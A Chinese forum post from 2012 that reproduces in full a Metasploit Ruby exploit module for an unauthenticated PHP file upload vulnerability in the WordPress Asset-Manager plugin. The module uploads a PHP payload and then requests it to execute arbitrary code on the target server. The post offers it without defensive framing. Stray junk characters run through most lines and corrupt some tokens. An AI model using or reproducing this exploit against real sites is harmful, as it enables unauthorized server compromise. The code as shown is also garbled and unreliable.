找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2070|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。2 Y! |( L5 G3 g

3 b% k- j0 \3 }##
, @: g% y" [2 q) }! d* t# This file is part of the Metasploit Framework and may be subject to
1 X# g1 r# f6 U: A# Z3 J# redistribution and commercial restrictions. Please see the Metasploit
- ]& {' ?$ c- N* b$ n$ m( a7 D# Framework web site for more information on licensing and terms of use.
& I% p2 I2 N' F+ S+ k* `, q#   http://metasploit.com/framework/. C1 g- T9 X/ W8 [
##* o5 L& ~! K- N( L; M
1 u2 t& f! z5 x. z7 z5 Y' H
require 'msf/core'
' O- [! H/ W! _! K# W0 F6 F- I4 Lrequire 'msf/core/exploit/php_exe'# ~/ L) R5 o4 w3 c) K) w, d% G

6 {* ]" q) ?0 E. A. g, k* Dclass Metasploit3 < Msf::Exploit::Remote, ~: `  s. v: G
  Rank = ExcellentRanking
$ Z$ Y5 B! r* n* Z' o% E: E  } / {) w: k: R; z$ B+ u2 v- X
  include Msf::Exploit::Remote::HttpClient
, V$ O" f7 K4 n4 Q" p9 z  i" ^0 a  include Msf::Exploit:hpEXE
/ q& c6 C% Y" O* O9 P( l
1 [3 |4 u: ^% y7 m" L; f  def initialize(info = {})5 E& W0 O% J! W' Y& ]
    super(update_info(info,! h. N& \, l' f
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',, B& ]7 u6 ?8 h9 T2 ?
      'Description'    => %q{% j1 P0 l8 g% s: H- L: k
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress3 ?1 c2 L% Z  ?2 K+ }; E
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
' X4 d: H, F3 D: {1 z) @7 i$ A        temp directory without authentication, which results in arbitrary code execution.
8 |6 l0 f) L$ B6 V. o' P3 s+ |      },
$ T% X) d8 i( j0 H      'Author'         =>5 P  k- A& R# E6 i; o  N
        [
7 b" @/ q4 x* u* D7 q% i- B" X          'Sammy FORGIT', # initial discovery0 `% P; L6 K! s1 v4 \
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
; h1 S  N; ~5 m! x7 s9 i        ],
! Y$ r8 M  c3 V, T. C' s3 ^      'License'        => MSF_LICENSE,4 s6 `' z! Q; D$ Y0 y
      'References'     =>
& D4 t+ ?& W3 s; ~" T        [8 h  e. G+ W) t
          [ 'OSVDB', '82653' ],! r( B0 s6 {0 d) c( n! K
          [ 'BID', '53809' ],
  t$ q+ {  `& g$ A& o' U- [          [ 'EDB', '18993' ],
, ]" X, J: z! P8 s          [ 'URL', 'http:// www.myhack58.com /' ]: v# z. b# s% [! u; H" m
        ],; J$ V1 s+ q& A: E: `! e/ T+ T; T
      'Payload'       =>9 X7 P. |2 n& ]
        {$ g; a  N# Q/ K: R! o& Z
          'BadChars' => "\x00",
+ {) |% i9 l- w2 R& r        },$ ~3 v4 g7 d8 G/ ?0 y  N1 b
      'Platform'       => 'php',
6 D' k/ v* d' F5 r: j      'Arch'           => ARCH_PHP,8 d1 r) s2 z' X/ @) H( t
      'Targets'        =>! ^. g7 ~$ g9 ^0 c- R' l
        [
  d5 X! t$ `& {' B          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
$ G$ O# a9 [% _0 L8 N) g          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]/ ~' Y/ ]  m4 H' I
        ],
- g" \+ i4 Y; f9 U0 x9 t+ j% A2 J      'DefaultTarget' => 0,
8 j4 i. W3 v( N      'DisclosureDate' => 'May 26 2012'))
# Y& h: U' d( s' T, F$ q ; _$ H+ Y* {$ W
    register_options(
3 T, _8 S% ?& d- F* U      [& G- U$ j- X3 c7 k' s
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])9 L2 I7 W5 i: W) s
      ], self.class)! q2 B# ^, X' \5 o
  end. ^4 \9 d' x6 i& W4 K! p

# J% G1 K$ R9 Q" I4 p* I  def exploit
* i& A0 z1 w) n5 `- K9 K* G8 W- c    uri =  target_uri.path
! S: g, W( m4 f; |7 r    uri << '/' if uri[-1,1] != '/'
  e, t6 ~$ X' w8 K    peer = "#{rhost}:#{rport}": q) z8 a7 H% w0 |2 N, w
    payload_name = "#{rand_text_alpha(5)}.php"
1 A, Z6 X, j* u9 P( O  t; F    php_payload = get_write_exec_payload(:unlink_self=>true)- k8 O1 u5 s2 I# S5 X5 w

' W( }# P/ G4 i7 S6 c& p    data = Rex::MIME::Message.new
  x6 y' L3 q( x0 j& G1 B) p    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\""), O, y& X. P  c0 ]( ~) ^
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
$ {, E; R3 E3 B7 z* O% c- a , }0 }. Z# i/ |. f2 \# t3 g
    print_status("#{peer} - Uploading payload #{payload_name}")/ _: h% C/ W1 ^: k% `$ l0 k
    res = send_request_cgi({
7 q' t1 \  H- {+ l3 N' }      'method'  => 'POST',  o4 J' ^( H) e9 j( P* M
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
9 g; u% M1 C  @: {2 k  C      'ctype'   => "multipart/form-data; boundary=#{data.bound}",% a, t4 N. u' }; Z
      'data'    => post_data/ P3 E- B0 U) k7 J
    })" z. c" y- v' O" s

% y: Y3 D0 ~/ u2 I    if not res or res.code != 200 or res.body !~ /#{payload_name}/) k+ O- \9 B" ^
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")2 p6 I* R: U$ i5 k
end
: e9 i: ~* h8 k; V
' B1 n6 A. a, P. x% u7 X3 r/ o8 c$ Z    print_status("#{peer} - Executing payload #{payload_name}")
9 c0 R  I2 Q! `' a2 @, o! ]    res = send_request_raw({
1 i5 U' R4 E* F. ?( o      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
9 ]8 m9 @# d4 N6 N! e      'method'  => 'GET': Y9 z# H: m" B) d! j7 z, q, F1 V
    })6 }! M# h8 G% y8 c, f. A( V: F2 g+ v

( z! C  i' o  h/ a# W3 H! ]' d* V# Q    if res and res.code != 2009 a- q6 W6 O% h, }- m
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")8 D$ F5 W8 S4 j# A2 x& z+ [% q2 _
    end
9 q7 [/ h, g1 k1 ^* F1 E  end' I. v; g. P7 a. N" O
end
* p) S* d0 g7 y' x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表